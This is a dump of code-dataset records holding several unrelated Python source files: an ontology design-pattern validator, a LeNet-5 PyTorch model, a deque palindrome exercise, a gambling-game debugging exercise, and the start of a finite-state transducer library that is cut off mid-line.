warnings.warn(\"Wrong number of vars in field '%s' of %s\" % (field, self.pattern['pattern_name']))\n for v in self.pattern[field]['vars']:\n if v not in self.pattern['vars']:\n warnings.warn(\"%s not in varlist %s\" % (v, str(self.pattern['vars'])))\n# Move spec checks down: \n# if field_spec['msExpression']:\n# self._validate_quoted(field['text'])\n# self._validate_ms\n \n if not oneOf:\n warnings.warn(\"Pattern must have at least one of: \" + str(oneOf_list))\n\n # Poss to add: validate number of vars for sprintf subs\n \n def _validate_ms(self, sprintf):\n \"\"\" takes a sprintf ms field as input. \n Subs quoted names for IDs. \n Subs %s for Thing. \n Runs SubClassOf query as a way of triggering exception if MS is bad.\"\"\"\n #self.name2Id(sprintf)\n #re.sub(\"\\'.+?\\'\", 'Thing', fu)\n #self.ont.getSubClasses('fu', 0)\n return\n \n \n\n def _validate_entities(self):\n \"\"\" Checks if IDs are known/non-obsolete. Warns and returns False if not.\n Otherwise returns True.\"\"\"\n valid = True\n for NAME, ID in self.pattern['classes'].items():\n if not self.ont.knowsClass(ID):\n warnings.warn(\"Pattern contains unknown class %s ; %s.\" % (NAME, ID))\n valid = False\n for NAME, ID in self.pattern['relations'].items():\n if not self.ont.knowsObjectProperty(ID):\n warnings.warn(\"Pattern contains unknown relation %s, %s.\" % (NAME, ID))\n valid = False\n \n # TODO - add check for obsoletion status\n return valid\n \n def _validate_quoted(self, ms):\n # Check that everything quoted in an MS string is in dict:\n c = self.pattern['classes'].copy()\n lookup = c.update(self.pattern['relations'])\n out = True\n quoted = re.findall(\"\\'(.+?)\\'\", ms)\n for q in quoted:\n if q not in lookup.keys():\n warnings.warn(\"Quoted element (%s) in MS string (%s) is not specified in pattern dictionary.\" % (q, ms))\n out = False\n return out\n \n\n def _validate_range(self):\n # Boolean check for classes in range class expression - may require a different reasoner.\n return \"Stub\"\n \n\n def validate_abstract_pattern(self):\n \"\"\"Validates pattern fields against spec and entities against ontology\n Returns True if both tests passed, otherwise returns False.\"\"\"\n valid = True\n if not self._validate_pattern_fields():\n valid = False\n if not self._validate_entities():\n valid = False\n return valid\n\n\n def gen_name_id(self):\n \"\"\"Returns a name:id dict for all entities in the pattern\"\"\"\n name_id = {}\n name_id.update(self.pattern['classes'])\n name_id.update(self.pattern['relations'])\n return name_id\n \n def name2Id(self, classExpression):\n \"\"\"Uses the list of entities in the pattern to sub all quoted entity names for IDs\"\"\"\n out = classExpression\n name_id = self.gen_name_id()\n for k, v in name_id.items():\n out = re.sub(\"\\'\"+k+\"\\'\", v, out) # Suspect this not Pythonic. Could probably be done with a fancy map lambda combo. \n return out\n\n def _ms2md(self, msExpression):\n \"\"\"Fully converts an msExpression to Markdown. Keywords -> italics; relations -> bold; entities -> hyperlinked.\"\"\"\n msExpression = ms2Markdown.italic_keywords(msExpression)\n msExpression = ms2Markdown.bold_relations(msExpression, self.pattern['relations'].keys())\n name_id = self.gen_name_id()\n msExpression = ms2Markdown.hyperlink_quoted_entities(msExpression, name_id, self.baseURI)\n return msExpression\n \n def _var_quote_sub(self, text, VARS):\n \"\"\"Quotes all members of list VARS with {}, then uses the resulting list in sprintf sub with target 'text'\"\"\"\n ## No need to live on class. Can be moved to tools. - Add assert test.\n qvars = map(lambda x: \"\\{ \" + x + \" \\}\", VARS)\n return text % tuple(qvars)\n \n\nclass abstract_pattern(metaPattern):\n \"\"\"Class for validating and documenting (as md), design patterns.\"\"\"\n def __init__(self, pattern, ont):\n self.pattern = pattern # pattern python data structure\n self.ont = ont\n self.validate_abstract_pattern()\n\n def __str__(self):\n return str(self.pattern)\n\n def _ms_sub_and_md(self, fieldName):\n \"\"\" Rolls a list of {} quoted vars for specified sprintf field.\"\"\"\n l = []\n # for each var\n for v in self.pattern[fieldName]['vars']:\n l.append(\"{ \" + v + \" }\") # roll a new list of vars, each deli\n ms_sub = self.pattern[fieldName]['text'] % tuple(l)\n return self._ms2md(ms_sub)\n\n def gen_markdown_doc(self):\n \"\"\"Returns markdown documentation of abstract pattern\"\"\"\n # Spec for markdown doc\n # vars displayed as \\{ hyperlinked classExpression \\}\n # pattern name\n # label rule\n # def\n # MS fields\n # dicts?\n\n # sprintf subs and MS conversion\n \n out = \"## %s\\n\" % self.pattern['pattern_name'] #\n # sprintf to generate label - Use { var name } in sub\n out += \"__label:__ %s\\n\\n\" % (self._var_quote_sub(self.pattern['name']['text'],self.pattern['name']['vars']))\n # sprintf to generate def - Use { var name } in sub\n out += \"__def:__ %s\\n\\n\" % (self._var_quote_sub(self.pattern['def']['text'],self.pattern['def']['vars']))\n \n if \"EquivalentTo\" in self.pattern: \n out += \"__equivalentTo:__ %s\\n\\n\" % self._ms_sub_and_md('EquivalentTo') # Ugly! Refactor!\n if \"SubClassOf\" in self.pattern:\n out += \"__subClassOf:__ %s\\n\\n\" % self._ms_sub_and_md('SubClassOf')\n if \"GCI\" in self.pattern:\n out += \"__GCI:__ %s\\n\\n\" % self._ms_sub_and_md('GCI')\n return out\n \n def update_entity_labels(self, ont):\n # This should report any changes, regenerate pattern.\n return \"Stub\"\n\n \nclass applied_pattern(metaPattern):\n \"\"\"A pattern object with variable slots populated.\n Attributes with class expression values are named consistently with Manchester Syntax\n and use shortForm IDs.\n \"\"\"\n\n def __init__(self, pattern, cdict, ont):\n \"\"\"pattern = pattern python datastructure\n cdict = specification of vars as dict of 2 element tuples:\n { var1 : ( name , id ), var2: ( ... }\n ont = ontology = as Brain object \"\"\"\n # Perhaps should be extended to allow specification of relations too?\n # Plus this dict of dict struc feels v.clunky to work with. Either change or parse before using.\n self.pattern = pattern # pattern python data structure\n self.ont = ont\n self.validate_abstract_pattern() # important to check that pattern is safe to apply. \n self.cdict = cdict # dict of name : id tuples\n \n # add entites from cdict to pattern dictionary\n for v in cdict.values():\n self.pattern[\"classes\"][v[0]]=v[1]\n self.validate_applied_pattern()\n self.label = self._var_name_sub(self.pattern['name'])\n self.definition = self._var_name_sub(self.pattern['def'])\n \n # For each logical axioms type, add set to False if not present, otherwise sub var, then convert to IDs\n \n self.equivalentTo = False\n if \"equivalentTo\" in self.pattern: \n self.equivalentTo = self.name2Id(self._var_id_sub(self.pattern['equivalentTo']))\n self.subClassOf = False\n if \"subClassOf\" in self.pattern:\n self.subClassOf = self.name2Id(self._var_id_sub(self.pattern['subClassOf']))\n self.GCI = False \n if \"GCI\" in self.pattern:\n self.GCI = self.name2Id(self._var_id_sub(self.pattern['GCI']))\n \n def __str__(self):\n return str(self.pattern) + \"\\n\\n\" + str(self.cdict)\n \n def _var_id_sub(self, sprintf): \n \"\"\"sprintf = a dict with text and vars keys, \n vars = list for sprintf sub into text)\n Returns sprintf text vars substituted for ids, as specified \n for applied pattern.\n \"\"\"\n id_list = map(lambda x: self.cdict[x][1], sprintf[\"vars\"] )\n return sprintf[\"text\"] % tuple(id_list)\n \n def _var_name_sub(self, sprintf, quote=False): \n \"\"\"Takes a sprintf field as an arg and an optional boolean to specify quoting\n (a dict with text and vars keys, vars = list for sprintf sub into text)\n Returns sprintf text vars substituted for (optionally quoted) class names, as specified \n for applied pattern.\n \"\"\"\n q = ''\n if quote:\n q = \"'\"\n name_list = map(lambda x: q + self.cdict[x][0] + q, sprintf[\"vars\"] )\n return sprintf[\"text\"] % tuple(name_list)\n \n\n def gen_markdown_doc(self):\n # spec: follow Manchester syntax\n out = ''\n out += \"__label:__ %s\\n\\n\" % self._var_name_sub(self.pattern['name'])\n # sprintf to generate def - Use { var name } in sub\n out += \"__def:__ %s\\n\\n\" % self._var_name_sub(self.pattern['def'])\n \n if \"equivalentTo\" in self.pattern: \n out += \"__equivalentTo:__ %s\\n\\n\" % self._ms2md(self._var_name_sub(self.pattern['equivalentTo'], True))\n if \"subClassOf\" in self.pattern:\n out += \"__subClassOf:__ %s\\n\\n\" % self._ms2md(self._var_name_sub(self.pattern['subClassOf'], True))\n if \"GCI\" in self.pattern:\n out += \"__GCI:__ %s\\n\\n\" % self._ms2md(self._var_name_sub(self.pattern['GCI'], True))\n return out\n\n def add_class_to_ont(self, ID):\n \"\"\"Add a new class, with shortFormID = ID, following self.pattern, to self.ont\"\"\"\n self.ont.addClass(ID)\n self.ont.label(ID, self.label)\n self.ont.annotation(ID, 'IAO_0000115', self.definition)\n if 'equivalentTo' in self.pattern:\n self.ont.equivalentClasses(ID, self.equivalentTo)\n if 'subClassOf' in self.pattern:\n self.ont.subClassOf(ID, self.subClassOf)\n # Don't currently have means to generate GCIs!\n\n \n def validate_applied_pattern(self):\n self._validate_var_entities()\n #self._has_subclasses() # only needed for reporting purposes.\n\n def _validate_var_entities(self):\n for v in self.pattern['vars']:\n if v not in self.cdict:\n warnings.warn(\"Pattern %s required var %s to be specified. It is not.\" % (self.pattern['name'], v))\n for v, c in self.cdict.items():\n if v not in self.pattern['vars']:\n warnings.warn(\"Pattern %s does not include specified var %s.\" % (self.pattern['name'], v))\n else:\n if not self.ont.knowsClass(c[1]):\n warnings.warn(\"Unknown class, %s, specified for var %s\" % (c[0], v))\n\n \n def _has_subclasses(self, ont):\n return \"Stub\"\n # Boolean check for the presence of inferred subclasses.\n \n\n\n \n\n \n","repo_name":"INCATools/dead_simple_owl_design_patterns","sub_path":"src/attic/pattern.py","file_name":"pattern.py","file_ext":"py","file_size_in_byte":16445,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"39"} +{"seq_id":"74231995313","text":"import torch\n\n# LeNet-5 model \n\nclass LeNet5(torch.nn.Module):\n\n def __init__(self):\n super(LeNet5, self).__init__()\n self.conv1 = torch.nn.Conv2d(1, 6, 5, padding=2)\n self.conv2 = torch.nn.Conv2d(6, 16, 5)\n # self.conv2 = []\n # self.connection_table = [[1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1],\n # [1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1],\n # [1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1],\n # [0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1],\n # [0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1],\n # [0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1]]\n # for j in range(16):\n # num_connection = 0\n # for i in range(6):\n # if self.connection_table[i][j] == 1:\n # num_connection += 1\n # self.conv2.append(torch.nn.Conv2d(num_connection, 1, 5))\n self.fc1 = torch.nn.Linear(16 * 5 * 5, 120)\n self.fc2 = torch.nn.Linear(120, 84)\n self.fc3 = torch.nn.Linear(84, 10)\n\n def forward(self, x):\n x = torch.nn.functional.max_pool2d(torch.nn.functional.relu(self.conv1(x)), 2)\n # z = torch.zeros(x.shape[0], 16, 10, 10)\n # for j in range(16):\n # slices = []\n # for i in range(6):\n # if self.connection_table[i][j] == 1:\n # slices.append(x[:, i, :, :])\n # y = torch.stack(slices, dim=1)\n # z[:, j, :, :] = self.conv2[j](y).squeeze(1)\n # x = torch.nn.functional.max_pool2d(torch.nn.functional.relu(z), 2)\n x = torch.nn.functional.max_pool2d(torch.nn.functional.relu(self.conv2(x)), 2)\n x = x.view(-1, self.num_flat_features(x))\n x = torch.nn.functional.relu(self.fc1(x))\n x = torch.nn.functional.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\n def num_flat_features(self, x):\n size = x.size()[1:] # all dimensions except the batch dimension\n num_features = 1\n for s in size:\n num_features *= s\n return num_features\n\n\n","repo_name":"AnirudhGovil/LeNet","sub_path":"LeNet5/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"31848670097","text":"'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n* 프로그램명 : 5.4_palindromebyDeque.py\n* 작성일 : 2021.10.17.Sun\n* 프로그램 설명 : 회문(palindrome)이란 앞뒤 어느 쪽에서 읽어도 같은 말 . 구. 문 등을\n의미한다. 예를 들어 “eye”, “ madam, I’m Adam”, “race car” 등이다. 여기서 물론 \n구두점이나 스페이스, 대소문자는 무시하여야 한다. 덱을 이용하여 회문인지 아닌지를 \n결정하는 프로그램을 덱으로 작성하라.\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nfrom circularQueueclass import CircularQueue\n\n\nclass CircularDeque(CircularQueue): # CircularQueue 클래스 상속\n def __init__(self):\n super().__init__() # 부모 클래스 생성자 호출\n\n # 재사용 멤버들 : isEmpty, isFull, size, clear, display\n\n # 인터페이스 변경 멤버들\n # 큐에 있는 기능이지만 이름만 바뀌기 때문에 부모 메소드 적절히 호출\n def addRear(self, item):\n self.enqueue(item)\n\n def deleteFront(self):\n return self.dequeue()\n\n def getFront(self):\n self.peek()\n\n # 추가 구현 메소드\n def addFront(self, item): # 전단 삽입\n if not self.isFull():\n self.items[self.front] = item\n self.front = self.front - 1\n if self.front < 0:\n self.front = CircularQueue.MAX_QSIZE - 1\n\n def deleteRear(self): # 후단 삭제\n if not self.isEmpty():\n item = self.items[self.rear]\n self.rear = self.rear - 1\n if self.rear < 0:\n self.rear = CircularQueue.MAX_QSIZE - 1\n return item\n\n def getRear(self): # 후단 peek\n return self.items[self.rear]\n\n\ndef palindrome(s):\n dq = CircularDeque() # 덱 객체 생성\n word = list(''.join(char.lower() for char in s if char.isalnum())) # input 문자열을 조건에 맞게 처리해 리스트에 저장\n\n if dq.isEmpty(): # 덱이 비어있다면\n [dq.addRear(i.lower()) for i in filter(str.isalnum, s)] # 덱에 조건에 맞게 후단부터 넣는다.\n\n for i in range(dq.size()//2): # 덱과 word를 비교해서 회문 여부 판단\n if word[i] != dq.deleteRear():\n return print(\"회문이 아님\")\n return print(\"회문이 맞음\")\n\n\ninputstr = input('문자열 입력: ')\npalindrome(inputstr)","repo_name":"DahyeonKang/Algorithm","sub_path":"week06/5.4_palindromebyDeque.py","file_name":"5.4_palindromebyDeque.py","file_ext":"py","file_size_in_byte":2445,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"21181701054","text":"\"\"\"CP1401 - Practical 10 - Debugging.\nExplain the problems (not the solution, not the style issues):\n1. There are logical errors in the play function that prevent it from working as intended.\n2. The code for calculating the result is incorrect.\n3. The program doesn't check for valid input in the play function.\n4. The variable names are not descriptive, making it hard to understand the code.\n5. There's no handling for when the player goes bankrupt.\n\nDescribe your debugging process:\n1. I ran the code and noticed that the program had logical errors, including incorrect calculations and lack of input validation.\n2. I identified that the result calculation was not working as intended.\n3. I noticed that there were issues with variable naming and readability.\n4. I identified the need to check for valid input in the play function.\n5. I observed that there was no handling for when the player goes bankrupt.\n\nFix the code in-place below\n\"\"\"\nimport random\n\nVALID_CHOICES = 'CA'\nCONSERVATIVE_CHANCE = 40\nCONSERVATIVE_REWARD = 1.5\nAGGRESSIVE_CHANCE = 10\nAGGRESSIVE_REWARD = 1.8\n\n\ndef main():\n money = 100\n print(\"Welcome to the gambling game!\")\n print(f\"You start with a balance of ${money}.\")\n while money > 0:\n result = play(money)\n money += result\n print(f\"Your new balance is ${money:.2f}\")\n if money <= 0:\n print(\"You're out of money! Game over.\")\n print(\"Thanks for playing :)\")\n\n\ndef get_valid_amount(balance, amount):\n while amount < 0 or amount > balance:\n print(\"Invalid amount\")\n amount = int(input(\"Enter amount to play: \"))\n return amount\n\n\ndef play(balance):\n \"\"\"Calculate and display whether win or lose based on chance.\"\"\"\n amount = int(input(\"Enter amount to play: \"))\n amount_to_risk = get_valid_amount(balance, amount)\n choice = 'x'\n while choice not in VALID_CHOICES:\n choice = input(\"(C)onservative, (A)ggressive: \").upper()\n if choice not in VALID_CHOICES:\n print(\"Invalid choice\")\n risk_chance = random.randint(0, 101)\n if choice == \"C\" and risk_chance <= CONSERVATIVE_CHANCE:\n result = amount_to_risk * CONSERVATIVE_REWARD\n print(f\"Congratulations! You earned ${result:.2f}\")\n elif choice == \"A\" and risk_chance <= AGGRESSIVE_CHANCE:\n result = amount_to_risk * AGGRESSIVE_REWARD\n print(f\"Congratulations! You earned ${result:.2f}\")\n else:\n result = -amount_to_risk\n print(f\"You lost ${amount_to_risk:.2f}\")\n return result\n\n\nmain()\n\n#ere are the changes made to the code:\n\n#Corrected logical errors in the play function by adjusting the result calculations.\n#Added input validation for the choice in the play function.\n#Renamed variables to make the code more readable.\n#Added handling for when the player goes bankrupt (money <= 0).","repo_name":"Giddy-byt/CP1404practicals","sub_path":"pythonProject/Prac_10/Debugging.py","file_name":"Debugging.py","file_ext":"py","file_size_in_byte":2827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"5468961828","text":"from __future__ import absolute_import\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\nfrom __future__ import division\n\nfrom future import standard_library\nstandard_library.install_aliases()\nfrom builtins import str\nfrom builtins import zip\nfrom builtins import range\nfrom builtins import *\nimport copy\nfrom exceptions import *\n\nfrom . import fa\nfrom . import common\nfrom .common import *\nfrom . import fl\n\n\nclass ZERO(Exception):\n \"\"\"Simple exception for functionality testing algorithm\"\"\"\n pass\n\n\ndef _concat(xxx_todo_changeme2):\n (a, b) = xxx_todo_changeme2\n if a == Epsilon:\n return b\n elif b == Epsilon:\n return a\n else:\n return str(a) + str(b)\n\n\ndef concatN(x, y):\n \"\"\" Concatenation of tuples of words\n :param x: iterable\n :param y: iterable\n :return: iterable\"\"\"\n return tuple([_concat(a) for a in zip(x, y)])\n\n\ndef isLimitExceed(NFA0Delta, NFA1Delta):\n \"\"\"Decide if the size of NFA0 and NFA1 exceed the limit.\n\n Size of NFA0 is denoted as N, and size of NFA1 is denoted as M. If N*N*M exceeds 1000000, return False,\n else return True. If bothNFA is False, then NFA0 should be NFA, and NFA1 should be Transducer. If both NFA is\n True, then NFA0 and NFA1 are both NFAs.\n\n :param dict NFA0Delta: NFA0's transition Delta\n :param dict NFA1Delta: NFA1's transition Delta\n :rtype: bool\"\"\"\n N = 0\n for s in list(NFA0Delta.keys()):\n for s1 in NFA0Delta[s]:\n N += len(NFA0Delta[s][s1])\n M = 0\n for s in list(NFA1Delta.keys()):\n for s1 in NFA1Delta[s]:\n M += len(NFA1Delta[s][s1])\n if N * N * M > 1000000:\n return True\n else:\n return False\n\n\nclass Transducer(fa.NFA):\n \"\"\"Base class for Transducers\n\n .. inheritance-diagram:: Transducer\"\"\"\n def __init__(self):\n super(Transducer, self).__init__()\n self.Output = set()\n\n def succintTransitions(self):\n \"\"\" Collects the transition information in a concat way suitable for graphical representation.\n :rtype: list of tupples\"\"\"\n foo = dict()\n for s in self.delta:\n for c in self.delta[s]:\n for (oc, s1) in self.delta[s][c]:\n k = (s, s1)\n if k not in foo:\n foo[k] = []\n foo[k].append((c, oc))\n l = []\n for k in foo:\n cs = foo[k]\n s = \"{0:s}/{1:s}\".format(graphvizTranslate(str(cs[0][0])), graphvizTranslate(str(cs[0][1])))\n for c in cs[1:]:\n s += \", {0:s}/{1:s}\".format(graphvizTranslate(str(c[0])), graphvizTranslate(str(c[1])))\n l.append((str(self.States[k[0]]), str(self.States[k[1]]), s))\n return l\n\n def setOutput(self, listOfSymbols):\n \"\"\" Set Output\n\n :param set|list listOfSymbols: output symbols\"\"\"\n self.Output = set(list(listOfSymbols))\n\n\nclass GFT(Transducer):\n \"\"\"General Form Transducer\n\n .. inheritance-diagram:: GFT\"\"\"\n\n def __init__(self):\n super(GFT, self).__init__()\n self.Output = set()\n\n def __str__(self):\n \"\"\"Return a string representing the details of the current transducer instance.\n\n :rtype: str\"\"\"\n return str((self.States, self.Sigma, self.Output, self.Initial, self.Final, self.delta))\n\n def __repr__(self):\n \"\"\"Return a string adding type 'Transducer' in front of the representation\n\n :rtype: str\"\"\"\n return 'Transducer(%s)' % self.__str__()\n\n def addTransition(self, stsrc, wi, wo, sti2):\n \"\"\"Adds a new transition\n\n :param int stsrc: state index of departure\n :param int sti2: state index of arrival\n :param str wi: word consumed\n :param str wo: word outputed\"\"\"\n if wi != Epsilon:\n for sym in wi:\n self.Sigma.add(sym)\n if wo != Epsilon:\n for sym in wo:\n self.Output.add(sym)\n if stsrc not in self.delta:\n self.delta[stsrc] = {wi: {(wo, sti2)}}\n elif wi not in self.delta[stsrc]:\n self.delta[stsrc][wi] = {(wo, sti2)}\n else:\n self.delta[stsrc][wi].add((wo, sti2))\n\n def toSFT(self):\n \"\"\"Conversion to an equivalent SFT\n\n rtype: SFT \"\"\"\n new = SFT()\n new.setSigma(self.Sigma)\n new.Output = set(self.Output)\n new.States = copy.deepcopy(self.States)\n new.setInitial(self.Initial)\n new.setFinal(self.Final)\n for st1 in self.delta:\n for wi in self.delta[st1]:\n cst = st1\n if wi == Epsilon:\n for (wo, st2) in self.delta[st1][wi]:\n lst = st2\n if wo == Epsilon:\n new.addTransition(cst, wi, wo, lst)\n else:\n for i in wo[:-1]:\n mst = new.addState()\n new.addTransition(cst, Epsilon, i, mst)\n cst = mst\n new.addTransition(cst, Epsilon, wo[-1:], lst)\n else:\n for (wo, st2) in self.delta[st1][wi]:\n lst = st2\n if wo == Epsilon:\n for i in wi[:-1]:\n mst = new.addState()\n new.addTransition(cst, i, Epsilon, mst)\n cst = mst\n new.addTransition(cst, wi[-1:], Epsilon, lst)\n else:\n z = list(zip(wi, wo))\n n = len(wi)\n m = len(wo)\n if n > m:\n z += list(zip(wi[m:], [Epsilon] * (n - m)))\n elif m > n:\n z += list(zip([Epsilon] * (m - n), wo[n:]))\n n = len(z)\n for (symi, symo) in z[:n - 1]:\n mst = new.addState()\n new.addTransition(cst, symi, symo, mst)\n cst = mst\n new.addTransition(cst, z[n - 1][0], z[n - 1][1], lst)\n return new\n\n def listOfTransitions(self):\n \"\"\" Collects into a sorted list the transitions of the transducer.\n :param GFT t\n :rtype: set of tuples\"\"\"\n def _comp(v1, v2):\n (v11, v12, v13, v14) = v1\n (v21, v22, v23, v24) = v2\n if v11 < v21:\n return -1\n if v11 > v21:\n return 1\n if v12 < v22:\n return -1\n if v12 > v22:\n return 1\n if v13 < v23:\n return -1\n if v13 > v23:\n return 1\n return 0\n\n trList = []\n for s in self.delta:\n for c in self.delta[s]:\n for (oc, s1) in self.delta[s][c]:\n trList.append((s, c, oc, s1))\n trList.sort(_comp)\n return trList\n\n def codeOfTransducer(self):\n \"\"\" Appends into one string the codes of the alphabets and initial and final\n state sets and the set of transitions\n :param GFT t\n :rtype: tuple\"\"\"\n\n def _codeOfSet(S):\n \"\"\" Collects into a sorted list the elements of the set S and then\n returns the string representation of the list. The set S normally\n consists of integers or strings\n :param set S\n :rtype: str\"\"\"\n L = [x for x in S]\n L.sort()\n return str(L)\n\n return ('GFT', _codeOfSet(self.Sigma) + _codeOfSet(self.Output) + _codeOfSet(self.Initial) +\\\n _codeOfSet(self.Final) + str(self.listOfTransitions()))\n\n\nclass SFT(GFT):\n \"\"\"Standard Form Tranducer\n\n :var set Output: output alphabet\n\n .. inheritance-diagram:: SFT\"\"\"\n def __str__(self):\n \"\"\"Return a string representing the details of the current transducer instance.\n\n :rtype: str\"\"\"\n return str((self.States, self.Sigma, self.Output, self.Initial, self.Final, self.delta))\n\n def __repr__(self):\n \"\"\"Return a string adding type 'Transducer'in front of the representation\n\n :rtype: str\"\"\"\n return 'SFT(%s)' % self.__str__()\n\n def dup(self):\n \"\"\"Duplicate of itself\n :rtype: SFT\n\n .. attention::\n only duplicates the initially connected component\"\"\"\n new = SFT()\n for si in self.delta:\n for syi in self.delta[si]:\n for (syo, so) in self.delta[si][syi]:\n i1 = new.stateIndex(self.States[si], True)\n i2 = new.stateIndex(self.States[so], True)\n new.addTransition(i1, syi, syo, i2)\n for si in self.Initial:\n try:\n i1 = new.stateIndex(self.States[si])\n except common.DFAstateUnknown:\n continue\n new.addInitial(i1)\n for si in self.Final:\n try:\n i1 = new.stateIndex(self.States[si])\n except common.DFAstateUnknown:\n continue\n new.addFinal(i1)\n return new\n\n def deleteStates(self, lstates):\n \"\"\"Delete given iterable collection of states from the automaton.\n\n :param set|list lstates: collection of int representing states\"\"\"\n for s in lstates:\n self.deleteState(self.stateIndex(s))\n\n def deleteState(self, sti):\n \"\"\"Remove given state and transitions related with that state.\n\n :param int sti: index of the state to be removed\n :raises DFAstateUnknown: if state index does not exist\"\"\"\n if sti >= len(self.States):\n raise DFAstateUnknown(sti)\n if sti in self.delta:\n del self.delta[sti]\n for j in list(self.delta.keys()):\n for sym in list(self.delta[j].keys()):\n self._deleteRefInDelta(j, sym, sti)\n if sti in self.Final:\n self.Final.remove(sti)\n self._deleteRefInitial(sti)\n for s in self.Final:\n if sti < s:\n self.Final.remove(s)\n self.Final.add(s - 1)\n for j in range(sti + 1, len(self.States)):\n if j in self.delta:\n self.delta[j - 1] = self.delta[j]\n del self.delta[j]\n del self.States[sti]\n\n def toSFT(self):\n \"\"\"Pacifying rule\n\n :rtype: SFT\"\"\"\n return self\n\n def toNFT(self):\n \"\"\" Transformation into Nomal Form Transducer\n\n :rtype: NFT\"\"\"\n new = NFT()\n new.setSigma(self.Sigma)\n new.setOutput(self.Output)\n new.States = copy.deepcopy(self.States)\n for s in list(self.delta.keys()):\n if s in self.Initial:\n new.addInitial(s)\n if self.finalP(s):\n new.addFinal(s)\n for sy in self.delta[s]:\n for syo, so in self.delta[s][sy]:\n if sy == Epsilon or syo == Epsilon:\n new.addTransition(s, sy, syo, so)\n else:\n ns = new.addState()\n new.addTransition(s, sy, Epsilon, ns)\n new.addTransition(ns, Epsilon, syo, so)\n return new\n\n def _deleteRefInDelta(self, src, sym, dest):\n \"\"\"Deletion of a reference in Delta\n\n :param int src: source state\n :param int sym: symbol\n :param int dest: destination state\"\"\"\n foo = [(s1, s2) for (s1, s2) in self.delta[src][sym] if s2 < dest]\n bar = [(s1, s2 - 1) for (s1, s2) in self.delta[src][sym] if s2 > dest]\n ff = set(foo + bar)\n if not ff:\n del self.delta[src][sym]\n if not self.delta[src]:\n del self.delta[src]\n else:\n self.delta[src][sym] = ff\n\n def delTransition(self, sti1, sym, symo, sti2, _no_check=False):\n \"\"\"Remove a transition if existing and perform cleanup on the transition function's internal data structure.\n\n :param symo: symbol output\n :param int sti1: state index of departure\n :param int sti2: state index of arrival\n :param sym: symbol consumed\n :param bool _no_check: dismiss secure code\"\"\"\n self.delta[sti1][sym].remove((symo, sti2))\n if not self.delta[sti1][sym]:\n del(self.delta[sti1][sym])\n if not self.delta[sti1]:\n del(self.delta[sti1])\n\n def trim(self):\n \"\"\"Remove states that do not lead to a final state, or, inclusively,\n that can't be reached from the initial state. Only useful states\n remain.\n\n .. attention::\n in place transformation\"\"\"\n n = self.toInNFA()\n n.trim()\n diff = [x for x in self.States if x not in n.States]\n self.deleteStates(diff)\n return self\n\n def addTransitionQ(self, src, dest, sym, out, futQ, pastQ):\n \"\"\"Add transition to the new transducer instance.\n\n :param src: source state\n :param dest: destination state\n :param sym: symbol\n :param out: output\n :param set futQ: queue for later\n :param set pastQ: past queue\"\"\"\n if dest not in pastQ:\n futQ.add(dest)\n i = self.stateIndex(dest, True)\n self.addTransition(src, sym, out, i)\n\n def outputS(self, s):\n \"\"\"Output label coming out of the state i\n\n :param int s: index state\n :rtype: set\"\"\"\n return {x for z in [y for y in self.delta.get(s, [])] for (x, _) in self.delta[s][z]}\n\n def setInitial(self, sts):\n \"\"\"Sets the initial state of a Transducer\n\n :param list sts: list of states\"\"\"\n self.Initial = set(sts)\n\n def addOutput(self, sym):\n \"\"\"Add a new symbol to the output alphabet\n\n There is no problem with duplicate symbols because Output is a Set. No symbol Epsilon can be added\n\n :param str sym: symbol or regular expression to be added\"\"\"\n if sym == Epsilon:\n raise common.DFAepsilonRedefinition()\n self.Output.add(sym)\n\n def addTransition(self, stsrc, symi, symo, sti2):\n \"\"\"Adds a new transition\n\n :param int stsrc: state index of departure\n :param int sti2: state index of arrival\n :param str symi: symbol consumed\n :param str symo: symbol output\"\"\"\n if symi != Epsilon:\n self.Sigma.add(symi)\n if symo != Epsilon:\n self.Output.add(symo)\n if stsrc not in self.delta:\n self.delta[stsrc] = {symi: {(symo, sti2)}}\n elif symi not in self.delta[stsrc]:\n self.delta[stsrc][symi] = {(symo, sti2)}\n else:\n self.delta[stsrc][symi].add((symo, sti2))\n\n def __or__(self, other):\n \"\"\" infix version of union\n\n :param other: other operand\n :rtype: SFT\"\"\"\n return self.union(other)\n\n def union(self, other):\n \"\"\"Union of the two transducers\n\n :param SFT other: the other operand\n :rtype: SFT\"\"\"\n new = SFT()\n for sti in self.delta:\n for syi in self.delta[sti]:\n for (syo, sto) in self.delta[sti][syi]:\n nsti = (0, self.States[sti])\n isti = new.stateIndex(nsti, True)\n nsto = (0, self.States[sto])\n isto = new.stateIndex(nsto, True)\n new.addTransition(isti, syi, syo, isto)\n for sti in self.Initial:\n new.addInitial(new.stateIndex((0, self.States[sti]), True))\n for sti in self.Final:\n new.addFinal(new.stateIndex((0, self.States[sti]), True))\n for sti in other.delta:\n for syi in other.delta[sti]:\n for (syo, sto) in other.delta[sti][syi]:\n nsti = (1, other.States[sti])\n isti = new.stateIndex(nsti, True)\n nsto = (1, other.States[sto])\n isto = new.stateIndex(nsto, True)\n new.addTransition(isti, syi, syo, isto)\n for sti in other.Initial:\n new.addInitial(new.stateIndex((1, other.States[sti])))\n for sti in other.Final:\n new.addFinal(new.stateIndex((1, other.States[sti])))\n return new\n\n def concat(self, other):\n \"\"\"Concatenation of transducers\n\n :param SFT other: the other operand\n :rtype: SFT\"\"\"\n new = SFT()\n for sti in self.delta:\n for syi in self.delta[sti]:\n for (syo, sto) in self.delta[sti][syi]:\n nsti = (0, 